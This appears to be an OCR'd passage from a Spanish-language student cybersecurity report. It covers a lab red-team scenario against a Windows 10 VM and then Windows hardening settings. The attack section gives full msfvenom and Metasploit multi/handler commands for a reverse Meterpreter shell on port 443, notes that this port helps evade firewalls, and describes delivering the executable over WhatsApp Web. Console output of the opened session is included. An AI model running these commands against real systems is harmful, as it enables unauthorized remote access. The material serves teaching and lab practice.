antivirus. Esto dejo la puerta abierta para la ejecucion de cédigo malicioso sin ser
detectado.

Falta de conciencia de seguridad: El administrador ejecut6 un archivo ejecutable
desconocido recibido a través de un medio inseguro (WhatsApp Web), lo que
demuestra una falta de conciencia sobre las practicas de seguridad y los riesgos

asociados con la ejecucion de archivos no verificados.
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Vulnerabilidad de la arquitectura: El payload malicioso fue especificamente
disefiado para la arquitectura x64 de Windows, lo que permiti6 su ejecucion
exitosa en la maquina victima, que también era de 64 bits.

Conexién inversa no detectada: El payload malicioso establecié una conexién
inversa (reverse shell) con la maquina del atacante, lo que permitio obtener
acceso remoto sin ser detectado debido a la desactivacion de los sistemas de

seguridad.

Solucién Implementada

Para resolver el fallo de seguridad identificado, se llevé a cabo un escenario de

Red Team controlado, siguiendo los pasos del pentesting:

Reconocimiento: Se analiz6 la informacion proporcionada sobre la méaquina
victima, como el sistema operativo, la arquitectura y la desactivaciéon de los
sistemas de seguridad.

Obtencién de acceso: Se utilizd la herramienta Msfvenom para generar un
payload malicioso compatible con la arquitectura x64 de Windows, disefiado para
establecer una conexion inversa con la maquina del atacante.

Mantener acceso: Se configuré el exploit "multi’/handler" en Metasploit para
escuchar la conexion inversa y obtener una sesion de meterpreter en la maquina
victima.

Cubrimiento de huellas: Dentro de la sesiébn de meterpreter, se utilizd el
comando "del" para eliminar el archivo sospechoso del escritorio de la maquina

victima, cubriendo asi las huellas del ataque.

5.3 HERRAMIENTAS DE IDENTIFICACION FALLOS DE SEGURIDAD

32



5.3.1 Metasploit es un conjunto de herramientas de codigo abierto utilizado para
pruebas de penetracion y explotacion de vulnerabilidades. Especificamente, en
este escenario, se utilizo la consola de Metasploit (msfconsole) junto con el exploit
"multi/handler" para establecer una conexion inversa (reverse shell) con la
maquina victima después de que esta ejecutara el payload malicioso generado

con Msfvenom.

Se indica que se utilizo el puerto 443 para la conexion inversa. El puerto 443 es
comunmente utilizado para el trafico HTTPS (HTTP seguro), y suele estar abierto
en la mayoria de las computadoras y redes para permitir la navegacion web

segura.

e Es un puerto comunmente abierto en la mayoria de las redes, lo que
aumenta las probabilidades de que la conexion inversa sea exitosa sin ser
bloqueada por un firewall.

e Al utilizar un puerto comunmente utilizado para trafico web, el trafico
malicioso puede pasar desapercibido y camuflarse como trafico legitimo.

e Los firewalls y sistemas de deteccion de intrusos (IDS/IPS) pueden estar
configurados para permitir el trafico en el puerto 443 de manera
predeterminada, lo que facilita el establecimiento de la conexion inversa sin
ser detectada.

e El puerto 443 se utiliza comunmente para el trafico HTTPS, su uso en este
contexto es malicioso y tiene como objetivo comprometer la maquina

victima mediante una conexién inversa.

5.3.2 Msfvenom (Metasploit Payload Generator):
Herramienta: Msfvenom, parte del marco de trabajo Metasploit.
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Descripcion: Msfvenom es una herramienta de linea de comandos utilizada para
generar payloads (cargas Utiles) maliciosas personalizadas para diferentes
sistemas operativos y arquitecturas.

Objetivo: Generar un payload malicioso compatible con la arquitectura x64 de
Windows, disefiado para establecer una conexion inversa (reverse shell) con la
maquina del atacante.

Uso en el escenario: Se utilizé Msfvenom para crear el archivo ejecutable
malicioso "PoC_1019010161.exe", siguiendo los pasos descritos en el Anexo 4.

5.3.3 Metasploit Framework:

Herramienta: Metasploit Framework, especificamente la consola de Metasploit
(msfconsole).

Descripciéon: Metasploit es un conjunto de herramientas de coédigo abierto
utilizadas para pruebas de penetracidon y explotacion de vulnerabilidades.
Objetivo: Configurar el exploit "multi/handler" para escuchar la conexién inversa
establecida por el payload malicioso y obtener acceso remoto a la maquina
victima.

Uso en el escenario: Se utilizé Metasploit para configurar y ejecutar el exploit
"multi/handler”, lo que permitid establecer una sesion de meterpreter en la
maquina victima después de que se ejecutd el payload malicioso.

Sesién de meterpreter en Metasploit:

Herramienta: Sesidn de meterpreter obtenida a través de Metasploit.
Descripcién: Meterpreter es una carga Ut avanzada de Metasploit que
proporciona una sesion de shell interactiva y escalable en la maquina victima
comprometida.

Objetivo: Interactuar con la maquina victima de forma remota y ejecutar

comandos para identificar y solucionar el fallo de seguridad.

Uso en el escenario: Se utilizé la sesion de meterpreter para eliminar el archivo

sospechoso del escritorio de la maquina victima, utilizando el comando "del".
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Estas herramientas fueron fundamentales para recrear el escenario de
compromiso de la maquina Windows 10 x64, identificar los fallos de seguridad
presentes y finalmente solucionar el problema mediante la eliminacion del archivo

sospechoso.

5.4 DESCRIPCION ATAQUE ESCENARIO A LA MAQUINA WINDOWS 10
X64
1. Inicialmente, la maquina victima se encuentra en un estado vulnerable debido a
la desactivacion de todos los sistemas de seguridad, como el firewall, Windows
Defender y el antivirus. Esto deja la puerta abierta para posibles ataques y
ejecucion de cédigo malicioso sin ser detectado.

2. El atacante genera un payload malicioso (PoC_1019010161.exe) utilizando la
herramienta Msfvenom de Metasploit. Este payload esta disefiado
especificamente para la arquitectura x64 de Windows y contiene un meterpreter

reverso, lo que permitira al atacante obtener acceso remoto a la maquina victima.

3. El payload malicioso es enviado a la maquina victima a través de un medio

engafoso, como un archivo adjunto de WhatsApp Web en este caso.

4. El usuario en la maquina victima, sin sospechar del archivo recibido, procede a

ejecutarlo.

5. Una vez ejecutado, el payload malicioso inicia una conexién inversa (reverse
shell) hacia la maquina del atacante, estableciendo un canal de comunicacién

encriptado.

6. En la maquina del atacante, se tiene configurado el exploit "multi/handler" de
Metasploit, el cual esta escuchando en el puerto 443 para recibir la conexién

inversa de la maquina victima.
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7. Cuando la conexion inversa se establece, el atacante obtiene una sesion de
meterpreter en la maquina victima, lo que le permite ejecutar comandos, obtener
informacion sensible, moverse lateralmente por la red y realizar acciones

maliciosas adicionales.

8. En este escenario especifico, el atacante utiliza el comando "del" en la sesién
de meterpreter para eliminar el archivo sospechoso

"Juan_Bejarano_10_ Marzo2024.txt" del escritorio de la maquina victima.

El ataque aprovecha las vulnerabilidades de la maquina victima, como la
desactivacion de los sistemas de seguridad, para ejecutar un payload malicioso
gue establece una conexion inversa y otorga acceso remoto al atacante. Esto le
permite realizar acciones maliciosas, como eliminar archivos o recopilar

informacion sensible.

Maquina Victima: Windows 10 x64

Fallos de seguridad identificados:

Sistemas de seguridad desactivados: El firewall, Windows Defender y el
antivirus se encontraban completamente desactivados, lo que dej6 a la maquina
vulnerable a ataques.

Ejecucion de archivos no verificados: El administrador ejecutd un archivo
ejecutable desconocido ("PoC_1019010161.exe") recibido a través de un medio
inseguro (WhatsApp Web), lo que permitio la ejecucién del payload malicioso.
Arquitectura compatible con el payload: La maquina tenia una arquitectura x64,
compatible con el payload malicioso generado por Msfvenom.

Impacto del ataque:

Compromiso de la maquina: El payload malicioso establecié una conexion
inversa (reverse shell) con la maquina del atacante, permitiendo el acceso remoto

no autorizado.
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Eliminacién de archivo sospechoso: El atacante utilizé la sesion de meterpreter
obtenida para eliminar el archivo sospechoso del escritorio, borrando posibles
evidencias del ataque.

Maquina Atacante: Kali Linux

Herramientas utilizadas:

Msfvenom: Se utilizé para generar el payload malicioso "PoC_1019010161.exe"
compatible con la arquitectura x64 de Windows y diseflado para establecer una
conexion inversa.

Metasploit Framework: Se configurd el exploit "multi/handler" para escuchar la
conexién inversa y obtener una sesion de meterpreter en la maquina victima.
Acciones realizadas:

Generacion del payload malicioso: Utilizando Msfvenom, se cred un ejecutable
malicioso personalizado para comprometer la maquina victima.

Configuracién del exploit: Se configurd el exploit "multi/handler" en Metasploit
para establecer la conexion inversa con la maquina victima.

Obtencion de acceso remoto: Después de que la maquina victima ejecuto el
payload, se estableci6 una sesion de meterpreter, otorgando acceso remoto al
atacante.

Eliminacién de archivo sospechoso: Utilizando la sesion de meterpreter, el

atacante eliminé el archivo sospechoso del escritorio de la maquina victima.

5.5 COMANDOS PAYLOAD

5.5.1 Generacion del payload con Msfvenom

El comando utilizado para generar el payload malicioso fue:

e msfvenom -p windows/x64/meterpreter/reverse_tcp --platform windows -a
x64 LHOST=172.26.214.78 LPORT=443 -f exe -0 PoC_1019010161.exe
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Estructura y opciones:

msfvenom: Comando para invocar la herramienta de generacion de payloads de
Metasploit.

-p windows/x64/meterpreter/reverse_tcp: Especifica el payload a utilizar, en este
caso, un meterpreter reverso para la arquitectura x64 de Windows.

--platform windows: Indica la plataforma objetivo, en este caso, Windows.

-a X64: Establece la arquitectura objetivo como x64.

LHOST=172.26.214.78": Especifica la direccion IP local (Local Host) de la
maquina atacante (Kali Linux).

LPORT=443: Establece el puerto local (Local Port) en el que se escuchara la
conexion inversa, en este caso, el puerto 443.

-f exe: Indica que el formato de salida del payload sera un ejecutable (.exe).

-0 PoC _1019010161.exe: Especifica el nombre del archivo de salida donde se

guardarda el payload generado.

5.5.2 Ejecucién del payload en la maquina victima

Una vez generado el payload PoC_1019010161.exe, se transfiri6 a la maquina
victima (Windows 10 x64) y se ejecutd. Al ejecutar el archivo, se inicio la conexion
inversa hacia la maquina atacante.

Configuracion de Metasploit para recibir la conexién inversa

En la maquina atacante (Kali Linux), se configur6 Metasploit para recibir la

conexién inversa utilizando los siguientes comandos:

1. Iniciar la consola de Metasploit:

msfconsole
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2. Configurar el exploit multi/handler:

use exploit/multi/handler

3. Configurar el payload compatible con el generado por Msfvenom:

set payload windows/x64/meterpreter/reverse_tcp

4. Establecer la direccion IP local (LHOST) y el puerto local (LPORT):

set LHOST 172.26.214.78
set LPORT 443

5. Iniciar el exploit para escuchar la conexién inversa:

exploit
Una vez que la maquina victima ejecutd el payload PoC_1019010161.exe, se
establecio la conexion inversa con la maquina atacante, y Metasploit proporcion6
una sesién de meterpreter para interactuar con la maquina victima de forma
remota.
Eliminar el archivo sospechoso
Dentro de la sesion de meterpreter, se utilizé el siguiente comando para eliminar el
archivo sospechoso Juan_Bejarano_10 Marzo2024.txt del escritorio de la

maquina victima:

del C:\Users\vboxuser\Desktop\ Juan_Bejarano_10_ Marzo2024.txt
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5.5.3 Vulnerabilidades Explotadas

Desactivaciéon de sistemas de seguridad

Descripcion: En la maquina victima (Windows 10 x64), se encontraban
desactivados todos los sistemas de seguridad, como el firewall, Windows
Defender y el antivirus.

Impacto: Al estar desactivados los sistemas de defensa, no hubo ninguna barrera
que detectara o0 bloqueara la ejecucion del payload malicioso ni la conexion
inversa establecida.

Explotacion: El atacante aproveché esta vulnerabilidad para ejecutar el payload
sin ser detectado y obtener acceso remoto a la maquina victima.

Falta de conciencia de seguridad del usuario

Descripcion: El administrador de la maquina victima ejecutd un archivo ejecutable
desconocido ("PoCseminario.exe") recibido a través de un medio inseguro
(WhatsApp Web).

Impacto: La ejecucion de este archivo permitié la ejecucion del payload malicioso
y el compromiso de la maquina.

Explotacion: El atacante aprovechd la falta de conciencia de seguridad del
usuario para hacer que ejecutara el archivo malicioso, lo que dio paso al ataque.
Arquitectura compatible con el payload

Descripcién: La maquina victima tenia una arquitectura x64, compatible con el
payload malicioso generado por Msfvenom.

Impacto: Si el payload no hubiera sido compatible con la arquitectura de la
maquina, no habria sido ejecutado correctamente y el ataque habria fallado.
Explotacion: El atacante generd un payload especifico para la arquitectura x64,
asegurandose de que fuera compatible con la maquina victima y pudiera
ejecutarse correctamente.

Proceso de Explotacion
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El atacante generé un payload malicioso utilizando Msfvenom, disefiado para
establecer una conexion inversa (reverse shell) con su maquina (Kali Linux).

El payload malicioso se envi6 a la maquina victima a través de un medio
engafioso (archivo adjunto en WhatsApp Web), aprovechando la falta de
conciencia de seguridad del usuario.

El administrador de la maquina victima ejecuto el archivo malicioso, permitiendo
que el payload se ejecutara sin ser detectado debido a la desactivacion de los
sistemas de seguridad.

El payload malicioso establecidé una conexién inversa con la maquina del atacante,
aprovechando la arquitectura compatible (x64) de la maquina victima.

En la maquina del atacante(Kali), se configuré el exploit "multi’/handler" de
Metasploit para recibir la conexién inversa y obtener una sesion de meterpreter en
la maquina victima.

Una vez establecida la sesion de meterpreter, el atacante pudo interactuar con la
maquina victima de forma remota y ejecutar comandos, incluyendo la eliminacion

del archivo sospechoso del escritorio.

~

— f windows/x64/meterpreter/reverse_tcp latform windows x64 LHOST=172.
26.214.78 LPORT=443 -f exe /home/kali/Desktop/PoC_1019010161.exe

No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes

Figura 4 Se realiza proceso de Creacidon con msfvenom para poder ingresar y ejecutar.

PoC_1019010
1671.exe

Figura 5 Evidencia de la creacion del Archivo.
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kali@kali: ~

File Actions Edit WView Help

— 416 post
11 nops

File Actions Edit WView Help

f
H

416 post
11 nops

docs.metasploit.com/

Figura 7 Ejecucion de Comando Esperando escuchar, cuando se ejecute el archivo .exe
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| < | PoC_1019010161.exe - m| x
Archivo Inicio Compartir Vista - o
&k 4 > PaC_1019010161.exe v O 2 Buscar en PoC_1019010161.exe

Mombre Fecha de modificacion Tipo Tamafio
5 Acceso rapido

B Escritorio
el < Descargas

Documentos

[5] PoC_1019010161 3/16/2024 1:04 AM Aplicacian TKBE

PO

[&] Imagenes
E D Musica
m Videos

@ OneDrive

! Este equipo

I o Red

I JUANCHO
[ VBOXSVR
I WINDOWS10

1 elemento E =l

Figura 8 Se evidencia descarga del Archivo y su ejecucion en Windows
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¥ kali@kali: ~

File Actions Edit View Help

lhost = 172.26.214.78

msf6 exploit( ) > set lport 443
lport = 443

msf6 exploit( ) > exploit

Started reverse TCP handler on 172.26.214.78:443

Sending stage (200774 bytes) to 172.26.223.148

Meterpreter session 1 opened (172.26.214.78:443 — 172.26.223.148:49983) at 2024-03-
17 18:28:28 -0400

meterpreter > sysinfo

Computer : WINDOWS10

0s : Windows 10 (10.0 Build 19045).
Architecture : x64

System Language : en_US

Domain WORKGROUP

Logged On Users pA

Meterpreter : x64/windows

meterpreter > ls

Listing: C:\Users\vboxuser\Desktop\PoC_1019010161.exe

Mode Size Type Last modified Name
100777 /rwxrwxrwux 7168 fil 2024-03-17 18:58:56 -0400 PoC_1019010161.exe

meterpreter > i

re apiLe To near:
para poder llegar a realizar los comandos

hation

Figura 9 Abrimos una nueva consola Shell en meterpreter
para poder eliminar el archivo.

File Actions Edit View Help

Mode Size Type Last modified Name

100777 /rwxrwuxrwx 7168 fil 2024-03-17 18:58:56 -0400 PoC_1019010161.exe

meterpreter > shell
Process 5020 created.

Channel 1 created.
Microsoft Windows [Versien 10.0.19045.2965]
(c) Microsoft Corporation. Todos los derechos reservados.

Figura 10 Listamos los archivos en la ruta donde se encuentra el archivo
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- kali@kali: ~

File Actions Edit View Help

programa o archivo por lotes ejecutable.

C:\Users\vboxuser\Desktop>dir

dir
El volumen de la unidad C no tiene etiqueta.
El nemero de serie del volumen es: 888E-9FF9

Directorio de C:\Users\vboxuser\Desktop

03/17/2024 ©05:28 PM <DIR>
03/17/2024 ©05:28 PM <DIR> o
03/17/2024 ©05:19 PM ® Juan_Bejarano_1019010161_10_Marzo2024.txt
03/17/2024 05:28 PM <DIR> PoC_1019010161.exe
03/17/2024 05:26 PM 1,055 PoC_1019010161.exe.zip
2 archivos 1,055 bytes
3 dirs 284,106,752 bytes libres

Figura 11 Y se realiza el comando “del” para eliminar el Archivo

\Desktop>del Juan_Be ano_1019010161_10_Marzo2@24.txt
] GRldlel_1@_Marz

Figura 12 Se Evidencia que ya no existe el archivo
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6 ESCENARIO 4

6.1 ¢ ANTE UN ATAQUE INFORMATICO EN TIEMPO REAL COMO
EXPERTO EN CIBERSEGURIDAD QUE PASOS TOMA PARA
IDENTIFICAR DICHO ATAQUE?

Acerca de

Tu equipo esté supervisado y
protegido

Especific
44 Sonido

L3 Notificaciones y acciones

D Asistente de concantracion

93 Crenamdaen. A 5 @D W

Figura 13 Datos Maquina

Configuracién de seguridad de cuentay politicas de auditoria:

Se configura las politicas relacionadas con la seguridad de las cuentas de usuario,
como la complejidad de las contrasefias, la expiracion de contrasefias, la
restriccion de acceso a cuentas de usuario locales, etc.

También involucra la configuracion de politicas de auditoria para inspeccionar
eventos de seguridad importantes, como intentos de inicio de sesion fallidos,

cambios en politicas de seguridad, acceso a folders y archivos, en fin.

46



Archivo  Accion

@

=] Editor de directivas de grupo local

= HE

=/ Directiva Equipo local

v & Configuracién del equipo
> [ Configuracién de software
> [ Configuracién de Windows
> [ Plantillas administrativas

v & Configuracién de usuaric

» [ Configuracién de software

> [ Configuracién de Windows

> [ Plantillas administrativas

Ve Ayuda

descripeion.

Selecciane un elemento para ver su

Nembre
& Configuracién del equipo
% Configuracién de usuario

"\, Extendido 4 Estandar /

5 Directiva de seguridad local
Archive Ver  Ayuda

=@ Xz H

Accién

Figura 14 Configuracion de seguridad de cuenta y politicas de auditoria

h Configuracian de seguridad

> (@ Directivas de cuenta

5 ['A Directivas locales

> [] Windows Defender Firewall con sequr
(] Directivas de Administrador de listas ¢

Nombre

["4 Directivas de cuenta

A Directivas locales

[ Windows Defender Firewall con segurida...
[ Directivas de Administrador de listas de-...

Descripeién

Directivas de bloquee de contrasefia y cusnta
Directivas de opciones de seguridad, derechos ...
Windows Defender Firewall con seguridad avan..

Directivas de grupo de ubicacion, icono y nom..

Directivas de control de aplicaciones
Administracién del protocolo de seguridad de ...
Configuracién de directiva de auditoria avanzada

> [ Directivas de clave publica = ©

5 7] Directivas de restriccién de software || — Directivas de clave pablica

5 [ Directivas de control de splicaciones || L Directives de restriccién de softwere

5 8 Directivas de sequridad IP en Equipo | [ Directivas de control de aplicaciones

5 [ Configuraci6n de directiva de auditor|| 5 Directivas de seguridad IP en Equipo local
[ Configuracién de directiva de auditoria a...

< >

[—

(il §

Figura 15 Directivas seguridad Local
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B Directiva de se

Archivo  Accién  Ver Ayuda
e nm XEEH
T Configuracién de seguridad Directiva

~ [, Directivas de cuenta
Directiva de contrasefias

Configuracin de seguri...
%] Almacenar contrasefias con cifrade reversible Deshabilitaca

53 Auditoria de longitud minima de contrasefia No ests definido
» [a Directive de bloqueo de cuenta | 'y

Exigir historial de contrasefias 0 contrasefias recordadas

5 [ Directivas locales ‘
» ] Windows Defender Firewollcon segui | Prog historial de contrasefias ? X p
(] Directivas de Administrador de listas ¢ -
Configuracién de seguridad local | Explicacién sido

[ Directivas de restriccién de software

[ | Directivas de control de aplicaciones.
‘8, Directivas de seguridad IP en Equipe |
» [ Configuracien de directiva de auditor|

1
[ Directivas de clave publica 4‘
|

Eigir histarial d contrasefias

dar el historial de contrasefias durarte
2| contrasefias recordadas

Figura 16 configuracion Contrasefa

=5 Directiva de seguridad local - m]

Archive  Accion  Ver Ayuda

i Configuracion de seguridad Directiva - Configuracién de seguri...
! D_”Edw“ de cuenta l2:] Almacenar contrasefias con cifrado reversible Deshabilitada
giluecivadeionniiseila 5 Auditoria de longitud minima de contrasefia Mo ests definido
S ; D”ezlt:j:::::‘ee:bqueo de cusnta \s) Exigir historial de contrasefias % contrasefias recordadas
N 1 Windows Defender Firewall con segur|| — La co.ntraseﬁa.debe cumplir los requisitos de complejidad Habilitada
|| Directivas de Administrador de listas ¢ 44 Longitud minima de la contrasefia Lcerecterse

Reducir los limites de longitud minima de la conti

» [ Directivas de clave publica

5 % Directivas de restriccion de software || L Vigencia maxima de la contrasefia 30 dizs
5 [ Directivas de contral de aplicaciones || <2 Vigencia minima de la contrasefia 123
>

g Directivas de seguridad IP en Equipo |
> [ Configuracién de directiva de auditor

Z, Directiva de seguridad local

Figura 17 Politicas de Contrasefia
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7 Directiva de seguridad local
| Archive  Accion  Ver  Ayuda
ge=sm = B

Fa Configuracion de seguridad Directiva Configuracién de seguri...
= D"E;“’“”E;“E”“ N Duracién del bloqueo de cuents 5 minutos
ti it
a !rec va de contrasenas Permitir bloquee de cuenta de administrador Habilitada
1 Directiva de bloqueo de cuenta . )
: ; Restablecer el blogueo de cuenta después de 5 minutos
A Directivas locales ) .
Umbral de bloques de cuenta 5 intentos de inicio de 5.

| Windows Defender Firewall con segur

| Directivas de Administrador de listas ¢

“| Directivas de clave piblica

_| Directivas de restriccién de software

_| Directivas de control de aplicaciones
g Directivas de seguridad IP en Equipo |

~| Configuracidn de directiva de auditor

Figura 18 Bloqueos de Cuenta

Configuracién de seguridad de acceso a objetos:

Se configuran permisos de acceso a objetos como impresoras, archivos, carpetas,
etc., para inspeccionar quién puede leer, escribir, modificar o eliminar estos

objetos.
Se aplican los principios de "principio de menor privilegio" para conceder solo los

permisos precisos a los usuarios y grupos.
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il Propiedades: Auditar el acceso a objetos 7 X de
Configuracion de seguridad local  Explicacian

j. Auditar el acceso a objetos

Auditar estos intentos:
Comecto
Eméneo

. Esta configuracin no se puede aplicar si se configura otra directiva
iy para invalidar la directiva la auditoria de nivel de categoria.
Para obtener mas informacidn, consutte Auditar el acceso a objetos.
(2921468

N =
Aceptar Cancelar Aplicar
Figura 19 Acceso a Objetos
L
<« v 4 8 <« Cam. > Cambiar contrasefia v O Buscar en el Panel de control »
Cambiar |a contrasefia de SeminarioBlu
SeminarioBlu
R Cuenta local
Protegida por contrasefia
Estar la contrasefia para Si hace esto, perders todos los certificados

personzles y contraseiias almacenadas para los sitios web o los recursos de red

Panel de control de Cuentas de usuario X
Silla contrasefia
La contrasefia que has escrito no cumple o requisitos de la directiva

Escribaunindid  de contrasefias. Prueba con otra que sea mds larga o mas compleja,
Elindicio de conl

Aceptar

Figura 20 prueba de la configuracidon Contrasefias

Configuracién de seguridad de red:

Se conforman medidas de seguridad para resguardar la red, como la
segmentacion de redes, el filtrado de paquetes, la configuracion de politicas de
seguridad de red,

Se pueden implementar soluciones como VPN para proteger las comunicaciones

en redes no seguras.

50



Propiedades del sistema X o X
- o X €
Nombre de equipo Herdware
Opciones avanzadas Proteccion del sistema Acceso remoto

| Seleccione lafoma en la que se puede usar este equipo desde
B otra ubicacién
Asistencia remota i6n de Windows

[ Pemitir conexiones de Asistencia remota a este equipo |
laplica a nuestros

Qué sucede si se habilits Asistencia remota?

fosoft

Opciones avanzadas

nadas

Aceptar Cancelar Apicar

< Cambiar el nombre de este equipo (avanzado)

Figura 21 Acceso Remoto

Propiedades: Conexiones de red (Equipe local) X
General  niciar sesién  Recuperacién  Dependencias

Nombre de servicio:  Netman 3

Nombre para mostrar: Conexiones de red

Deserpcién: iministra objetos en la capeta Conexiones de ~
d y acceso telefénico, donde se pueden ver Nombre Descripcion Estado ~
rarinras e rarl e 4rms lor 2l ram L
{6k CaptureSenvice 3c434 Habilita la ..
Ruta de acceso al ejecutable: by .
c ek L N {6} Carpetas de trabajo Este senvicio
1€ Centro de seguridad El servicio W.. En ejecu..
Tipo de inicio: Deshabiltado ~ 18} Cliente de directiva de grupo Este servicio.. En gjecu..
—_— €k Cliente de sequimiento de vinculos distribuidos  Mantiene lo... En gjecu...
15 Cliente DHCP Registrayac.. En ejecu..
i
Eatado delservicio:  Detendo [0 Cliente DN Bl servicio Cl En gjecu..
€ Cliente web Habilita los ...
Iniciar Detener Pausar Reanudar 1€ Cola de impresion Este servicio... En ejecu...

Puede especicar los parametros de inicio que se aplican cuando se inicia K
&l servicio desde aqui {5 Comprobador puntual Comprueba ...

1€} Conexién compartida a Intemet (ICS) Proporciona...
‘ 1, Conexiones de red Administra ..
{6k Configuracien automatica de dispositivos con... El servicio Can
€ Configuracién automitica de redes cableadas I Servicio du.,

Parametros de ricio: |

1
)
3
A
A
A
A
A
)
A

{8 Compilador de extremo de audio de Windows ~ Administral... En ejecu.. A
)
3
»
n
3
3
3
)
)
)
)

15, Configuracion autamatica de WLAN El servicio
Aceptar Cancelar Alicar | € Configuracién automatica de WWAN Este servicio..

£, Configuracién de Escritorio remote El servicio C.

€} ConsentUX_3c434 Permite que

(€}, Contenedor de Microsoft Passport Administra

< & Control parental Aplica el co, M
< >
< > | Extendido { Estndar/’
=
- o = - - - ~ .. L0BAM

Figura 22 deshabilitar conexiones de red

Configuracién de seguridad de inicio y recuperacion del sistema:

Las opciones de inicio seguro como BitLocker para cifrar el disco y salvaguardar
los datos en caso de pérdida o robo de la PC.

Se establecen politicas de recuperacién de sistema para evitar el inicio desde
dispositivos no autorizados.
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No se han encontrado unidades que se
o puedan usar

Copia de seguridad

B . . .
E Hacer copias de seguridad de los archivos en
el OneDrive

Los archivos se guardaran en OneDrive, se protegerdn y podras obtener
acceso a ellos desde cualquier dispositivo.

T Iniciar sesién en OneDrive
Q
Copia de seguridad con Historial de archivos
L1 Realiza una copia de sequridad de tus archivos en otra unidad y
restauralos si los originales se han perdido, estan daiiados o se han
T eliminado.

Agregar una unidad

2 + greg:
_—
Més opciones
=
® Seguridad de Windows
: 2 seguridad anterior?

® -
&

idad mediante |a herramienta Copias de

N . Nindows 7, todavia funcionard en Windows
Encontrar mi dispositive e =

4 taurar (Windows 7)
ff  Para programadores .

Figura 23 Configuracion de seguridad de inicio y recuperacion del sistema.

& Configuracién - >
@ Inicio P x
Norbre de equipo Hardare USB 0 un DVD
Buscar una configuracion Proteceidn del dstema o un DVD).
Opciones avanzadas Acceso remoto ura Windows
a ) Use Proteccion del sistema para deshacer cambios no deseados
Actualizacion y seguridad A enelsstema
= Restaurar sistema
Z Windows Update
Puede deshacer cambios del sistema Rest e
revirtiendo el equipo 3 un purto de s
o B B restaural N
21 Optimizacién de distribucién Proteccion del sistems
Configug  Creando un punto de restauradion... — )a instalacion
SF Seguridad de Windows —
_ Disca local () (Sistema) Actvada
T Copia de seguridad
: Establezca la configuracién de restauracion.
& Solucionar problemas administre el espacio en disco y elimine puntos fCogtireg
de restauracién
. Cree un punto de restauracién ahora para las Crear
& Recuperacién Unidades que tienen activada la proteccién del
sistema.
@ Activacién
Aceptar Cancelar Aplicar
A Encontrar mi dispositivo (@ Obtener ayuda
& Enviar comentarios
T Para programadores
. = - . — 123 AM
% @ - = F =T Eo R ABED o [

Figura 24 Configuracion de seguridad de inicio y recuperacion del sistema.
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& Restaurar sistema

Restaurar el equipo al estado anterior al evento seleccionado

P

Zona horaria actual: GMT-5:00

Fechayhora Descripcidn Tipo
ucion 3/26/2024 1:23:34 AM Leboratorio Manual

7 Bropiedades .. Detectar programas afectados

= -Bwas | Sguente > Cancelar

> Wy Ubtenerayd -

£ Enviar come

Figura 25 Configuracion de seguridad de inicio y recuperacion del sistema.

Configuracién de seguridad de eventos de registro:

Se monitorea y se analiza estos registros regularmente para detectar movimientos
sospechosos o intentos de intrusion.

Configuracién de seguridad de servicios y aplicaciones:

Se deshabilitan servicios y aplicaciones innecesarios para reducir la superficie de
ataque.

Se aplican configuraciones de seguridad para servicios criticos y aplicaciones,

como el navegador web y el cliente de correo electronico.

5 Directiva de seguridad local - m} b4
Archive  Accion  Ver Ayuda

e | 2@ XE = B

F Configuracion de seguridad Directiva Configuracion de segui..
4 g"““m ‘de ‘;‘E”ta Auditar ¢ acceso 2 objetos Correcto, Eméneo
v ti . . .
- "T}_‘V: “": = = Auditar el acceso al servicio de directorio Correcto, Erénea
irectiva de auditoria
& 2 Auditar el cambio de directivas Correcto, Eréneo r
& Asignacion de derechos de usuari ’ °
Auditar ¢l sequimiento de procesos Correcto, Eméneo
& Opeiones de seguridad °
Windows Defender Firewell con sequi|| L4 Auditar e uso de privilegios Correcto, Emanea
| Directivas de Administrador de listas | L Auditar eventos de inicio de sesién Correcto, Eméneo
| Directivas de clave pblica Auditar eventos de inicio de sesién de cuents Correcto, Emdneo
Directivas de restriccion de software || L Auditar eventos del sistema Correcto, Emaneo

| Directivas de control de aplicaciones || SEIN AT e Correcto, Eméneo
&, Directivas de seguridad IP en Equipo |
| Configuracién de directiva de auditor|

Figura 26 Auditoria y Registros
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Configuracién de seguridad de firewall y conexiones de red:

Configuracion del Firewall de Windows para obstruir el trafico no autorizado y
proteger la PC de amenazas externas.

Se establecen reglas de firewall para permitir o bloquear el trafico de acuerdo con

las politicas de seguridad de la red.

r  Entrada
8 Windows Defender Firewall con sequridad svanzads - O
Archivo Accién  Ver Ayuda
4= o |||
9 VLRI LS LERSIETENS Y Windows Defender Firewall con seguridad avanzada en Equipo local Acciones
Q3 Reglas de entrada ~ | Windows Defender Fir
Reglas de salida
By Reglas de seguridad de con Windows Defender Fiewall con sequridad avanzsda proporsions sequidad de red para scuipos Windows. &) Importar directiva
B, Supervision 5 Exportar directiva
Informacién general . Restaurar directiv
Perfil de dominio Diagnosticar / Re|
@ Frewall de Windows Defender esté actvads o

©®  Las conexiones entranies que no coincidan con una regla estén bloqueadas.
Gl Actualizar

[E] Propiedades
Perfil privado B A
| yuda
@ Fiewall de Windows Defender esta activado.

@ Conexiones salientes que no coincidan con una regla serén pemitidas.

© Las conexiones ertrantes que no coincidan con una regla estan blogueadas.
@ Conexiones salientes que no coincidan con una regla serén permitidas.

El perfil piblico esta activo.

@ Firewal de Windows Defender estd activado

@ Lss conexiones ertrantes que no coincidan con una regla estan bloqueadas.

@ Conexiones salientes que no coincidan con una regla serén pemitidas.

B Propiedades de Firewall de Windows Defender

Introduccién -
Autenticar comunicaciones entre equipos
(e rmclme e car rictar de i rars aenarfiear mémn v cirande dohan = fanficaree « nmbanerme lae conavinnee
< >||< >
Mail

L—_F

Figura 27 Configuracion de seguridad de firewall y conexiones de red
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g Propiedades: Windows Defender Firewall con seguridad avanzada .. > !

Perfil de dominio  Perfil privado  Perfil piblico  Configuracién IPsec
=N Especifique el compartamiento cuando un equipo estd conectado a su TR
dominio corporativo.

<4 Estado
dor i‘ F Estado del firewall: Activo (recomendada) w
de Conexiones entrantes: | Bloguear (predeterminado) ~
= Conexiones salientes: | Permitir (predet ) A
s
Conexiones de red protegidas: Personalizar...
rad
de Configuracian
| 7| Especiiique la configuracién que P i
=xiol controlan el comportamiento de Firewall ersanalizar. .
de Windows Defender.
nes
Wb Inicio de sesion
- Especifique !g configuracion de registro e
para resolucion de problemas.
=xiol
88 ) )
@ Firewall de Windows Defe...
des p S
B tar | Cancelar Aplicar
- 1<

s u iz Asbam s darticares o mretanams lse ssmsviaee

Figura 28 Configuracion de seguridad de firewall y conexiones de red
Configuracion de seguridad de actualizacion de software:
